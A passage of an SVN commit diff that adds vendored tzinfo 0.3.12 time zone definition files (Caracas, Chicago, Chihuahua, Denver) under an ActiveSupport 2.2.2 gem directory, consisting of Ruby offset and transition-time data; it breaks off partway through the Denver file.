+          tz.transition 1993, 4, :o2, 733896000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Caracas
+        include TimezoneDefinition
+        
+        timezone 'America/Caracas' do |tz|
+          tz.offset :o0, -16064, 0, :LMT
+          tz.offset :o1, -16060, 0, :CMT
+          tz.offset :o2, -16200, 0, :VET
+          tz.offset :o3, -14400, 0, :VET
+          
+          tz.transition 1890, 1, :o1, 1627673863, 675
+          tz.transition 1912, 2, :o2, 10452001043, 4320
+          tz.transition 1965, 1, :o3, 39020187, 16
+          tz.transition 2007, 12, :o2, 1197183600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,283 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Chicago
+        include TimezoneDefinition
+        
+        timezone 'America/Chicago' do |tz|
+          tz.offset :o0, -21036, 0, :LMT
+          tz.offset :o1, -21600, 0, :CST
+          tz.offset :o2, -21600, 3600, :CDT
+          tz.offset :o3, -18000, 0, :EST
+          tz.offset :o4, -21600, 3600, :CWT
+          tz.offset :o5, -21600, 3600, :CPT
+          
+          tz.transition 1883, 11, :o1, 9636533, 4
+          tz.transition 1918, 3, :o2, 14530103, 6
+          tz.transition 1918, 10, :o1, 58125451, 24
+          tz.transition 1919, 3, :o2, 14532287, 6
+          tz.transition 1919, 10, :o1, 58134187, 24
+          tz.transition 1920, 6, :o2, 14534933, 6
+          tz.transition 1920, 10, :o1, 58143091, 24
+          tz.transition 1921, 3, :o2, 14536655, 6
+          tz.transition 1921, 10, :o1, 58151827, 24
+          tz.transition 1922, 4, :o2, 14539049, 6
+          tz.transition 1922, 9, :o1, 58159723, 24
+          tz.transition 1923, 4, :o2, 14541233, 6
+          tz.transition 1923, 9, :o1, 58168627, 24
+          tz.transition 1924, 4, :o2, 14543417, 6
+          tz.transition 1924, 9, :o1, 58177363, 24
+          tz.transition 1925, 4, :o2, 14545601, 6
+          tz.transition 1925, 9, :o1, 58186099, 24
+          tz.transition 1926, 4, :o2, 14547785, 6
+          tz.transition 1926, 9, :o1, 58194835, 24
+          tz.transition 1927, 4, :o2, 14549969, 6
+          tz.transition 1927, 9, :o1, 58203571, 24
+          tz.transition 1928, 4, :o2, 14552195, 6
+          tz.transition 1928, 9, :o1, 58212475, 24
+          tz.transition 1929, 4, :o2, 14554379, 6
+          tz.transition 1929, 9, :o1, 58221211, 24
+          tz.transition 1930, 4, :o2, 14556563, 6
+          tz.transition 1930, 9, :o1, 58229947, 24
+          tz.transition 1931, 4, :o2, 14558747, 6
+          tz.transition 1931, 9, :o1, 58238683, 24
+          tz.transition 1932, 4, :o2, 14560931, 6
+          tz.transition 1932, 9, :o1, 58247419, 24
+          tz.transition 1933, 4, :o2, 14563157, 6
+          tz.transition 1933, 9, :o1, 58256155, 24
+          tz.transition 1934, 4, :o2, 14565341, 6
+          tz.transition 1934, 9, :o1, 58265059, 24
+          tz.transition 1935, 4, :o2, 14567525, 6
+          tz.transition 1935, 9, :o1, 58273795, 24
+          tz.transition 1936, 3, :o3, 14569373, 6
+          tz.transition 1936, 11, :o1, 58283707, 24
+          tz.transition 1937, 4, :o2, 14571893, 6
+          tz.transition 1937, 9, :o1, 58291267, 24
+          tz.transition 1938, 4, :o2, 14574077, 6
+          tz.transition 1938, 9, :o1, 58300003, 24
+          tz.transition 1939, 4, :o2, 14576303, 6
+          tz.transition 1939, 9, :o1, 58308739, 24
+          tz.transition 1940, 4, :o2, 14578487, 6
+          tz.transition 1940, 9, :o1, 58317643, 24
+          tz.transition 1941, 4, :o2, 14580671, 6
+          tz.transition 1941, 9, :o1, 58326379, 24
+          tz.transition 1942, 2, :o4, 14582399, 6
+          tz.transition 1945, 8, :o5, 58360379, 24
+          tz.transition 1945, 9, :o1, 58361491, 24
+          tz.transition 1946, 4, :o2, 14591633, 6
+          tz.transition 1946, 9, :o1, 58370227, 24
+          tz.transition 1947, 4, :o2, 14593817, 6
+          tz.transition 1947, 9, :o1, 58378963, 24
+          tz.transition 1948, 4, :o2, 14596001, 6
+          tz.transition 1948, 9, :o1, 58387699, 24
+          tz.transition 1949, 4, :o2, 14598185, 6
+          tz.transition 1949, 9, :o1, 58396435, 24
+          tz.transition 1950, 4, :o2, 14600411, 6
+          tz.transition 1950, 9, :o1, 58405171, 24
+          tz.transition 1951, 4, :o2, 14602595, 6
+          tz.transition 1951, 9, :o1, 58414075, 24
+          tz.transition 1952, 4, :o2, 14604779, 6
+          tz.transition 1952, 9, :o1, 58422811, 24
+          tz.transition 1953, 4, :o2, 14606963, 6
+          tz.transition 1953, 9, :o1, 58431547, 24
+          tz.transition 1954, 4, :o2, 14609147, 6
+          tz.transition 1954, 9, :o1, 58440283, 24
+          tz.transition 1955, 4, :o2, 14611331, 6
+          tz.transition 1955, 10, :o1, 58449859, 24
+          tz.transition 1956, 4, :o2, 14613557, 6
+          tz.transition 1956, 10, :o1, 58458595, 24
+          tz.transition 1957, 4, :o2, 14615741, 6
+          tz.transition 1957, 10, :o1, 58467331, 24
+          tz.transition 1958, 4, :o2, 14617925, 6
+          tz.transition 1958, 10, :o1, 58476067, 24
+          tz.transition 1959, 4, :o2, 14620109, 6
+          tz.transition 1959, 10, :o1, 58484803, 24
+          tz.transition 1960, 4, :o2, 14622293, 6
+          tz.transition 1960, 10, :o1, 58493707, 24
+          tz.transition 1961, 4, :o2, 14624519, 6
+          tz.transition 1961, 10, :o1, 58502443, 24
+          tz.transition 1962, 4, :o2, 14626703, 6
+          tz.transition 1962, 10, :o1, 58511179, 24
+          tz.transition 1963, 4, :o2, 14628887, 6
+          tz.transition 1963, 10, :o1, 58519915, 24
+          tz.transition 1964, 4, :o2, 14631071, 6
+          tz.transition 1964, 10, :o1, 58528651, 24
+          tz.transition 1965, 4, :o2, 14633255, 6
+          tz.transition 1965, 10, :o1, 58537555, 24
+          tz.transition 1966, 4, :o2, 14635439, 6
+          tz.transition 1966, 10, :o1, 58546291, 24
+          tz.transition 1967, 4, :o2, 14637665, 6
+          tz.transition 1967, 10, :o1, 58555027, 24
+          tz.transition 1968, 4, :o2, 14639849, 6
+          tz.transition 1968, 10, :o1, 58563763, 24
+          tz.transition 1969, 4, :o2, 14642033, 6
+          tz.transition 1969, 10, :o1, 58572499, 24
+          tz.transition 1970, 4, :o2, 9964800
+          tz.transition 1970, 10, :o1, 25686000
+          tz.transition 1971, 4, :o2, 41414400
+          tz.transition 1971, 10, :o1, 57740400
+          tz.transition 1972, 4, :o2, 73468800
+          tz.transition 1972, 10, :o1, 89190000
+          tz.transition 1973, 4, :o2, 104918400
+          tz.transition 1973, 10, :o1, 120639600
+          tz.transition 1974, 1, :o2, 126691200
+          tz.transition 1974, 10, :o1, 152089200
+          tz.transition 1975, 2, :o2, 162374400
+          tz.transition 1975, 10, :o1, 183538800
+          tz.transition 1976, 4, :o2, 199267200
+          tz.transition 1976, 10, :o1, 215593200
+          tz.transition 1977, 4, :o2, 230716800
+          tz.transition 1977, 10, :o1, 247042800
+          tz.transition 1978, 4, :o2, 262771200
+          tz.transition 1978, 10, :o1, 278492400
+          tz.transition 1979, 4, :o2, 294220800
+          tz.transition 1979, 10, :o1, 309942000
+          tz.transition 1980, 4, :o2, 325670400
+          tz.transition 1980, 10, :o1, 341391600
+          tz.transition 1981, 4, :o2, 357120000
+          tz.transition 1981, 10, :o1, 372841200
+          tz.transition 1982, 4, :o2, 388569600
+          tz.transition 1982, 10, :o1, 404895600
+          tz.transition 1983, 4, :o2, 420019200
+          tz.transition 1983, 10, :o1, 436345200
+          tz.transition 1984, 4, :o2, 452073600
+          tz.transition 1984, 10, :o1, 467794800
+          tz.transition 1985, 4, :o2, 483523200
+          tz.transition 1985, 10, :o1, 499244400
+          tz.transition 1986, 4, :o2, 514972800
+          tz.transition 1986, 10, :o1, 530694000
+          tz.transition 1987, 4, :o2, 544608000
+          tz.transition 1987, 10, :o1, 562143600
+          tz.transition 1988, 4, :o2, 576057600
+          tz.transition 1988, 10, :o1, 594198000
+          tz.transition 1989, 4, :o2, 607507200
+          tz.transition 1989, 10, :o1, 625647600
+          tz.transition 1990, 4, :o2, 638956800
+          tz.transition 1990, 10, :o1, 657097200
+          tz.transition 1991, 4, :o2, 671011200
+          tz.transition 1991, 10, :o1, 688546800
+          tz.transition 1992, 4, :o2, 702460800
+          tz.transition 1992, 10, :o1, 719996400
+          tz.transition 1993, 4, :o2, 733910400
+          tz.transition 1993, 10, :o1, 752050800
+          tz.transition 1994, 4, :o2, 765360000
+          tz.transition 1994, 10, :o1, 783500400
+          tz.transition 1995, 4, :o2, 796809600
+          tz.transition 1995, 10, :o1, 814950000
+          tz.transition 1996, 4, :o2, 828864000
+          tz.transition 1996, 10, :o1, 846399600
+          tz.transition 1997, 4, :o2, 860313600
+          tz.transition 1997, 10, :o1, 877849200
+          tz.transition 1998, 4, :o2, 891763200
+          tz.transition 1998, 10, :o1, 909298800
+          tz.transition 1999, 4, :o2, 923212800
+          tz.transition 1999, 10, :o1, 941353200
+          tz.transition 2000, 4, :o2, 954662400
+          tz.transition 2000, 10, :o1, 972802800
+          tz.transition 2001, 4, :o2, 986112000
+          tz.transition 2001, 10, :o1, 1004252400
+          tz.transition 2002, 4, :o2, 1018166400
+          tz.transition 2002, 10, :o1, 1035702000
+          tz.transition 2003, 4, :o2, 1049616000
+          tz.transition 2003, 10, :o1, 1067151600
+          tz.transition 2004, 4, :o2, 1081065600
+          tz.transition 2004, 10, :o1, 1099206000
+          tz.transition 2005, 4, :o2, 1112515200
+          tz.transition 2005, 10, :o1, 1130655600
+          tz.transition 2006, 4, :o2, 1143964800
+          tz.transition 2006, 10, :o1, 1162105200
+          tz.transition 2007, 3, :o2, 1173600000
+          tz.transition 2007, 11, :o1, 1194159600
+          tz.transition 2008, 3, :o2, 1205049600
+          tz.transition 2008, 11, :o1, 1225609200
+          tz.transition 2009, 3, :o2, 1236499200
+          tz.transition 2009, 11, :o1, 1257058800
+          tz.transition 2010, 3, :o2, 1268553600
+          tz.transition 2010, 11, :o1, 1289113200
+          tz.transition 2011, 3, :o2, 1300003200
+          tz.transition 2011, 11, :o1, 1320562800
+          tz.transition 2012, 3, :o2, 1331452800
+          tz.transition 2012, 11, :o1, 1352012400
+          tz.transition 2013, 3, :o2, 1362902400
+          tz.transition 2013, 11, :o1, 1383462000
+          tz.transition 2014, 3, :o2, 1394352000
+          tz.transition 2014, 11, :o1, 1414911600
+          tz.transition 2015, 3, :o2, 1425801600
+          tz.transition 2015, 11, :o1, 1446361200
+          tz.transition 2016, 3, :o2, 1457856000
+          tz.transition 2016, 11, :o1, 1478415600
+          tz.transition 2017, 3, :o2, 1489305600
+          tz.transition 2017, 11, :o1, 1509865200
+          tz.transition 2018, 3, :o2, 1520755200
+          tz.transition 2018, 11, :o1, 1541314800
+          tz.transition 2019, 3, :o2, 1552204800
+          tz.transition 2019, 11, :o1, 1572764400
+          tz.transition 2020, 3, :o2, 1583654400
+          tz.transition 2020, 11, :o1, 1604214000
+          tz.transition 2021, 3, :o2, 1615708800
+          tz.transition 2021, 11, :o1, 1636268400
+          tz.transition 2022, 3, :o2, 1647158400
+          tz.transition 2022, 11, :o1, 1667718000
+          tz.transition 2023, 3, :o2, 1678608000
+          tz.transition 2023, 11, :o1, 1699167600
+          tz.transition 2024, 3, :o2, 1710057600
+          tz.transition 2024, 11, :o1, 1730617200
+          tz.transition 2025, 3, :o2, 1741507200
+          tz.transition 2025, 11, :o1, 1762066800
+          tz.transition 2026, 3, :o2, 1772956800
+          tz.transition 2026, 11, :o1, 1793516400
+          tz.transition 2027, 3, :o2, 1805011200
+          tz.transition 2027, 11, :o1, 1825570800
+          tz.transition 2028, 3, :o2, 1836460800
+          tz.transition 2028, 11, :o1, 1857020400
+          tz.transition 2029, 3, :o2, 1867910400
+          tz.transition 2029, 11, :o1, 1888470000
+          tz.transition 2030, 3, :o2, 1899360000
+          tz.transition 2030, 11, :o1, 1919919600
+          tz.transition 2031, 3, :o2, 1930809600
+          tz.transition 2031, 11, :o1, 1951369200
+          tz.transition 2032, 3, :o2, 1962864000
+          tz.transition 2032, 11, :o1, 1983423600
+          tz.transition 2033, 3, :o2, 1994313600
+          tz.transition 2033, 11, :o1, 2014873200
+          tz.transition 2034, 3, :o2, 2025763200
+          tz.transition 2034, 11, :o1, 2046322800
+          tz.transition 2035, 3, :o2, 2057212800
+          tz.transition 2035, 11, :o1, 2077772400
+          tz.transition 2036, 3, :o2, 2088662400
+          tz.transition 2036, 11, :o1, 2109222000
+          tz.transition 2037, 3, :o2, 2120112000
+          tz.transition 2037, 11, :o1, 2140671600
+          tz.transition 2038, 3, :o2, 14792981, 6
+          tz.transition 2038, 11, :o1, 59177635, 24
+          tz.transition 2039, 3, :o2, 14795165, 6
+          tz.transition 2039, 11, :o1, 59186371, 24
+          tz.transition 2040, 3, :o2, 14797349, 6
+          tz.transition 2040, 11, :o1, 59195107, 24
+          tz.transition 2041, 3, :o2, 14799533, 6
+          tz.transition 2041, 11, :o1, 59203843, 24
+          tz.transition 2042, 3, :o2, 14801717, 6
+          tz.transition 2042, 11, :o1, 59212579, 24
+          tz.transition 2043, 3, :o2, 14803901, 6
+          tz.transition 2043, 11, :o1, 59221315, 24
+          tz.transition 2044, 3, :o2, 14806127, 6
+          tz.transition 2044, 11, :o1, 59230219, 24
+          tz.transition 2045, 3, :o2, 14808311, 6
+          tz.transition 2045, 11, :o1, 59238955, 24
+          tz.transition 2046, 3, :o2, 14810495, 6
+          tz.transition 2046, 11, :o1, 59247691, 24
+          tz.transition 2047, 3, :o2, 14812679, 6
+          tz.transition 2047, 11, :o1, 59256427, 24
+          tz.transition 2048, 3, :o2, 14814863, 6
+          tz.transition 2048, 11, :o1, 59265163, 24
+          tz.transition 2049, 3, :o2, 14817089, 6
+          tz.transition 2049, 11, :o1, 59274067, 24
+          tz.transition 2050, 3, :o2, 14819273, 6
+          tz.transition 2050, 11, :o1, 59282803, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,136 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Chihuahua
+        include TimezoneDefinition
+        
+        timezone 'America/Chihuahua' do |tz|
+          tz.offset :o0, -25460, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -21600, 0, :CST
+          tz.offset :o3, -21600, 3600, :CDT
+          tz.offset :o4, -25200, 3600, :MDT
+          
+          tz.transition 1922, 1, :o1, 58153339, 24
+          tz.transition 1927, 6, :o2, 9700171, 4
+          tz.transition 1930, 11, :o1, 9705183, 4
+          tz.transition 1931, 5, :o2, 9705855, 4
+          tz.transition 1931, 10, :o1, 9706463, 4
+          tz.transition 1932, 4, :o2, 58243171, 24
+          tz.transition 1996, 4, :o3, 828864000
+          tz.transition 1996, 10, :o2, 846399600
+          tz.transition 1997, 4, :o3, 860313600
+          tz.transition 1997, 10, :o2, 877849200
+          tz.transition 1998, 4, :o4, 891766800
+          tz.transition 1998, 10, :o1, 909302400
+          tz.transition 1999, 4, :o4, 923216400
+          tz.transition 1999, 10, :o1, 941356800
+          tz.transition 2000, 4, :o4, 954666000
+          tz.transition 2000, 10, :o1, 972806400
+          tz.transition 2001, 5, :o4, 989139600
+          tz.transition 2001, 9, :o1, 1001836800
+          tz.transition 2002, 4, :o4, 1018170000
+          tz.transition 2002, 10, :o1, 1035705600
+          tz.transition 2003, 4, :o4, 1049619600
+          tz.transition 2003, 10, :o1, 1067155200
+          tz.transition 2004, 4, :o4, 1081069200
+          tz.transition 2004, 10, :o1, 1099209600
+          tz.transition 2005, 4, :o4, 1112518800
+          tz.transition 2005, 10, :o1, 1130659200
+          tz.transition 2006, 4, :o4, 1143968400
+          tz.transition 2006, 10, :o1, 1162108800
+          tz.transition 2007, 4, :o4, 1175418000
+          tz.transition 2007, 10, :o1, 1193558400
+          tz.transition 2008, 4, :o4, 1207472400
+          tz.transition 2008, 10, :o1, 1225008000
+          tz.transition 2009, 4, :o4, 1238922000
+          tz.transition 2009, 10, :o1, 1256457600
+          tz.transition 2010, 4, :o4, 1270371600
+          tz.transition 2010, 10, :o1, 1288512000
+          tz.transition 2011, 4, :o4, 1301821200
+          tz.transition 2011, 10, :o1, 1319961600
+          tz.transition 2012, 4, :o4, 1333270800
+          tz.transition 2012, 10, :o1, 1351411200
+          tz.transition 2013, 4, :o4, 1365325200
+          tz.transition 2013, 10, :o1, 1382860800
+          tz.transition 2014, 4, :o4, 1396774800
+          tz.transition 2014, 10, :o1, 1414310400
+          tz.transition 2015, 4, :o4, 1428224400
+          tz.transition 2015, 10, :o1, 1445760000
+          tz.transition 2016, 4, :o4, 1459674000
+          tz.transition 2016, 10, :o1, 1477814400
+          tz.transition 2017, 4, :o4, 1491123600
+          tz.transition 2017, 10, :o1, 1509264000
+          tz.transition 2018, 4, :o4, 1522573200
+          tz.transition 2018, 10, :o1, 1540713600
+          tz.transition 2019, 4, :o4, 1554627600
+          tz.transition 2019, 10, :o1, 1572163200
+          tz.transition 2020, 4, :o4, 1586077200
+          tz.transition 2020, 10, :o1, 1603612800
+          tz.transition 2021, 4, :o4, 1617526800
+          tz.transition 2021, 10, :o1, 1635667200
+          tz.transition 2022, 4, :o4, 1648976400
+          tz.transition 2022, 10, :o1, 1667116800
+          tz.transition 2023, 4, :o4, 1680426000
+          tz.transition 2023, 10, :o1, 1698566400
+          tz.transition 2024, 4, :o4, 1712480400
+          tz.transition 2024, 10, :o1, 1730016000
+          tz.transition 2025, 4, :o4, 1743930000
+          tz.transition 2025, 10, :o1, 1761465600
+          tz.transition 2026, 4, :o4, 1775379600
+          tz.transition 2026, 10, :o1, 1792915200
+          tz.transition 2027, 4, :o4, 1806829200
+          tz.transition 2027, 10, :o1, 1824969600
+          tz.transition 2028, 4, :o4, 1838278800
+          tz.transition 2028, 10, :o1, 1856419200
+          tz.transition 2029, 4, :o4, 1869728400
+          tz.transition 2029, 10, :o1, 1887868800
+          tz.transition 2030, 4, :o4, 1901782800
+          tz.transition 2030, 10, :o1, 1919318400
+          tz.transition 2031, 4, :o4, 1933232400
+          tz.transition 2031, 10, :o1, 1950768000
+          tz.transition 2032, 4, :o4, 1964682000
+          tz.transition 2032, 10, :o1, 1982822400
+          tz.transition 2033, 4, :o4, 1996131600
+          tz.transition 2033, 10, :o1, 2014272000
+          tz.transition 2034, 4, :o4, 2027581200
+          tz.transition 2034, 10, :o1, 2045721600
+          tz.transition 2035, 4, :o4, 2059030800
+          tz.transition 2035, 10, :o1, 2077171200
+          tz.transition 2036, 4, :o4, 2091085200
+          tz.transition 2036, 10, :o1, 2108620800
+          tz.transition 2037, 4, :o4, 2122534800
+          tz.transition 2037, 10, :o1, 2140070400
+          tz.transition 2038, 4, :o4, 19724143, 8
+          tz.transition 2038, 10, :o1, 14794367, 6
+          tz.transition 2039, 4, :o4, 19727055, 8
+          tz.transition 2039, 10, :o1, 14796551, 6
+          tz.transition 2040, 4, :o4, 19729967, 8
+          tz.transition 2040, 10, :o1, 14798735, 6
+          tz.transition 2041, 4, :o4, 19732935, 8
+          tz.transition 2041, 10, :o1, 14800919, 6
+          tz.transition 2042, 4, :o4, 19735847, 8
+          tz.transition 2042, 10, :o1, 14803103, 6
+          tz.transition 2043, 4, :o4, 19738759, 8
+          tz.transition 2043, 10, :o1, 14805287, 6
+          tz.transition 2044, 4, :o4, 19741671, 8
+          tz.transition 2044, 10, :o1, 14807513, 6
+          tz.transition 2045, 4, :o4, 19744583, 8
+          tz.transition 2045, 10, :o1, 14809697, 6
+          tz.transition 2046, 4, :o4, 19747495, 8
+          tz.transition 2046, 10, :o1, 14811881, 6
+          tz.transition 2047, 4, :o4, 19750463, 8
+          tz.transition 2047, 10, :o1, 14814065, 6
+          tz.transition 2048, 4, :o4, 19753375, 8
+          tz.transition 2048, 10, :o1, 14816249, 6
+          tz.transition 2049, 4, :o4, 19756287, 8
+          tz.transition 2049, 10, :o1, 14818475, 6
+          tz.transition 2050, 4, :o4, 19759199, 8
+          tz.transition 2050, 10, :o1, 14820659, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,204 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Denver
+        include TimezoneDefinition
+        
+        timezone 'America/Denver' do |tz|
+          tz.offset :o0, -25196, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -25200, 3600, :MDT
+          tz.offset :o3, -25200, 3600, :MWT
+          tz.offset :o4, -25200, 3600, :MPT
+          
+          tz.transition 1883, 11, :o1, 57819199, 24
+          tz.transition 1918, 3, :o2, 19373471, 8
+          tz.transition 1918, 10, :o1, 14531363, 6
+          tz.transition 1919, 3, :o2, 19376383, 8
+          tz.transition 1919, 10, :o1, 14533547, 6
+          tz.transition 1920, 3, :o2, 19379295, 8
+          tz.transition 1920, 10, :o1, 14535773, 6
+          tz.transition 1921, 3, :o2, 19382207, 8
+          tz.transition 1921, 5, :o1, 14536991, 6
+          tz.transition 1942, 2, :o3, 19443199, 8
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o1, 14590373, 6
+          tz.transition 1965, 4, :o2, 19511007, 8
+          tz.transition 1965, 10, :o1, 14634389, 6
+          tz.transition 1966, 4, :o2, 19513919, 8
+          tz.transition 1966, 10, :o1, 14636573, 6
+          tz.transition 1967, 4, :o2, 19516887, 8
+          tz.transition 1967, 10, :o1, 14638757, 6
+          tz.transition 1968, 4, :o2, 19519799, 8
+          tz.transition 1968, 10, :o1, 14640941, 6
+          tz.transition 1969, 4, :o2, 19522711, 8
+          tz.transition 1969, 10, :o1, 14643125, 6
+          tz.transition 1970, 4, :o2, 9968400
+          tz.transition 1970, 10, :o1, 25689600
+          tz.transition 1971, 4, :o2, 41418000
+          tz.transition 1971, 10, :o1, 57744000
+          tz.transition 1972, 4, :o2, 73472400
+          tz.transition 1972, 10, :o1, 89193600
+          tz.transition 1973, 4, :o2, 104922000
+          tz.transition 1973, 10, :o1, 120643200
+          tz.transition 1974, 1, :o2, 126694800
+          tz.transition 1974, 10, :o1, 152092800
+          tz.transition 1975, 2, :o2, 162378000
+          tz.transition 1975, 10, :o1, 183542400
+          tz.transition 1976, 4, :o2, 199270800
+          tz.transition 1976, 10, :o1, 215596800
+          tz.transition 1977, 4, :o2, 230720400
+          tz.transition 1977, 10, :o1, 247046400
+          tz.transition 1978, 4, :o2, 262774800
+          tz.transition 1978, 10, :o1, 278496000
+          tz.transition 1979, 4, :o2, 294224400
+          tz.transition 1979, 10, :o1, 309945600
+          tz.transition 1980, 4, :o2, 325674000
+          tz.transition 1980, 10, :o1, 341395200
+          tz.transition 1981, 4, :o2, 357123600
+          tz.transition 1981, 10, :o1, 372844800
+          tz.transition 1982, 4, :o2, 388573200
+          tz.transition 1982, 10, :o1, 404899200
+          tz.transition 1983, 4, :o2, 420022800
+          tz.transition 1983, 10, :o1, 436348800
+          tz.transition 1984, 4, :o2, 452077200
+          tz.transition 1984, 10, :o1, 467798400
+          tz.transition 1985, 4, :o2, 483526800
+          tz.transition 1985, 10, :o1, 499248000
+          tz.transition 1986, 4, :o2, 514976400
+          tz.transition 1986, 10, :o1, 530697600
+          tz.transition 1987, 4, :o2, 544611600
+          tz.transition 1987, 10, :o1, 562147200
+          tz.transition 1988, 4, :o2, 576061200
+          tz.transition 1988, 10, :o1, 594201600
+          tz.transition 1989, 4, :o2, 607510800
+          tz.transition 1989, 10, :o1, 625651200
+          tz.transition 1990, 4, :o2, 638960400
+          tz.transition 1990, 10, :o1, 657100800
+          tz.transition 1991, 4, :o2, 671014800
+          tz.transition 1991, 10, :o1, 688550400
+          tz.transition 1992, 4, :o2, 702464400
+          tz.transition 1992, 10, :o1, 720000000
+          tz.transition 1993, 4, :o2, 733914000
+          tz.transition 1993, 10, :o1, 752054400
+          tz.transition 1994, 4, :o2, 765363600
+          tz.transition 1994, 10, :o1, 783504000
+          tz.transition 1995, 4, :o2, 796813200
+          tz.transition 1995, 10, :o1, 814953600
+          tz.transition 1996, 4, :o2, 828867600
+          tz.transition 1996, 10, :o1, 846403200
+          tz.transition 1997, 4, :o2, 860317200
+          tz.transition 1997, 10, :o1, 877852800
+          tz.transition 1998, 4, :o2, 891766800
+          tz.transition 1998, 10, :o1, 909302400
+          tz.transition 1999, 4, :o2, 923216400
+          tz.transition 1999, 10, :o1, 941356800
+          tz.transition 2000, 4, :o2, 954666000
+          tz.transition 2000, 10, :o1, 972806400
+          tz.transition 2001, 4, :o2, 986115600
+          tz.transition 2001, 10, :o1, 1004256000
+          tz.transition 2002, 4, :o2, 1018170000
+          tz.transition 2002, 10, :o1, 1035705600
+          tz.transition 2003, 4, :o2, 1049619600
+          tz.transition 2003, 10, :o1, 1067155200
+          tz.transition 2004, 4, :o2, 1081069200
+          tz.transition 2004, 10, :o1, 1099209600
+          tz.transition 2005, 4, :o2, 1112518800
+          tz.transition 2005, 10, :o1, 1130659200
+          tz.transition 2006, 4, :o2, 1143968400
+          tz.transition 2006, 10, :o1, 1162108800
+          tz.transition 2007, 3, :o2, 1173603600
+          tz.transition 2007, 11, :o1, 1194163200
+          tz.transition 2008, 3, :o2, 1205053200
+          tz.transition 2008, 11, :o1, 1225612800
+          tz.transition 2009, 3, :o2, 1236502800
+          tz.transition 2009, 11, :o1, 1257062400
+          tz.transition 2010, 3, :o2, 1268557200
+          tz.transition 2010, 11, :o1, 1289116800
+          tz.transition 2011, 3, :o2, 1300006800
+          tz.transition 2011, 11, :o1, 1320566400
+          tz.transition 2012, 3, :o2, 1331456400
+          tz.transition 2012, 11, :o1, 1352016000
+          tz.transition 2013, 3, :o2, 1362906000
+          tz.transition 2013, 11, :o1, 1383465600
+          tz.transition 2014, 3, :o2, 1394355600
+          tz.transition 2014, 11, :o1, 1414915200
+          tz.transition 2015, 3, :o2, 1425805200
+          tz.transition 2015, 11, :o1, 1446364800
+          tz.transition 2016, 3, :o2, 1457859600
+          tz.transition 2016, 11, :o1, 1478419200
+          tz.transition 2017, 3, :o2, 1489309200
+          tz.transition 2017, 11, :o1, 1509868800
+          tz.transition 2018, 3, :o2, 1520758800
+          tz.transition 2018, 11, :o1, 1541318400
+          tz.transition 2019, 3, :o2, 1552208400
+          tz.transition 2019, 11, :o1, 1572768000
+          tz.transition 2020, 3, :o2, 1583658000
+          tz.transition 2020, 11, :o1, 1604217600
+          tz.transition 2021, 3, :o2, 1615712400
+          tz.transition 2021, 11, :o1, 1636272000
+          tz.transition 2022, 3, :o2, 1647162000
+          tz.transition 2022, 11, :o1, 1667721600
+          tz.transition 2023, 3, :o2, 1678611600
+          tz.transition 2023, 11, :o1, 1699171200
+          tz.transition 2024, 3, :o2, 1710061200
+          tz.transition 2024, 11, :o1, 1730620800
+          tz.transition 2025, 3, :o2, 1741510800
+          tz.transition 2025, 11, :o1, 1762070400
+          tz.transition 2026, 3, :o2, 1772960400
+          tz.transition 2026, 11, :o1, 1793520000
+          tz.transition 2027, 3, :o2, 1805014800
+          tz.transition 2027, 11, :o1, 1825574400
+          tz.transition 2028, 3, :o2, 1836464400
+          tz.transition 2028, 11, :o1, 1857024000
+          tz.transition 2029, 3, :o2, 1867914000
+          tz.transition 2029, 11, :o1, 1888473600
